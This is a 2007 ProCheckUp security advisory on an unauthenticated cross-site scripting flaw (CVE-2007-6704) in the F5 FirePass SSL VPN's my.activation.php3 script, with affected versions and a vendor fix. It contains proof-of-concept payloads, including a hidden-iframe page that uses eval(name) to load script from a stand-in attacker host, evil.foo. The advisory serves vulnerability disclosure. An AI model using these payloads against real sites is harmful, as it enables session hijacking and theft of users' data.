PR07-14: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.activation.php3' server-side script
Date Found: 19th June 2007
Successfully tested on: version 5.5.2
F5 Networks has confirmed the following versions to be vulnerable:
FirePass versions 5.4.1 - 5.5.2
FirePass versions 6.0 - 6.0.1
Severity: Medium/High
CVE reference: CVE-2007-6704
Description:
F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "my.activation.php3" server-side script.
No authentication is required to exploit this vulnerability.
Consequences:
An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such URL. Such code would run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. admin session IDs) to unauthorised third parties.
Proof of concept (PoC) URL:
https://target.tld/my.activation.php3?"></script><textarea>HTML_injection_test</textarea><!--
The payload in the example is
"></script><textarea>HTML_injection_test</textarea><!--
which injects a 'textarea' box
The following PoC HTML page would run JavaScript without any restrictions from a third-party file ('http://www.evil.foo/b' in this case):
<html>
<iframesrc="https://target.tld/my.activation.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name
%29%3C/script%3E%3C%21-- " width ="0%" height="0%" name="xss=document.body.appendChild
(document.createElement('script'));xss.setAttribute('src','http://www.evil.foo/b')"></iframe>
</html>
Successfully tested on:
Server environment:
F5 FirePass 4100
Client environment:
Microsoft Internet Explorer 7.0.5730.11
Authors: Adrian Pastor and Jan Fry of ProCheckUp Ltd (www.procheckup.com).
With thanks to Petko D. Petkov for suggesting the eval(name) technique.
References:
http://www.procheckup.com/Vulnerability_2007.php
http://www.f5.com/products/FirePass/
Fix:
F5 Networks has issued SOL7923:
https://support.f5.com/kb/en-us/solutions/public/7000/900/SOL7923.html?sr=1
Legal:
Copyright 2007 Procheckup Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the Internet community
for the purpose of alerting them to problems, if and only if, the Bulletin is not edited
or changed in any way, is attributed to Procheckup, and provided such reproduction and/or
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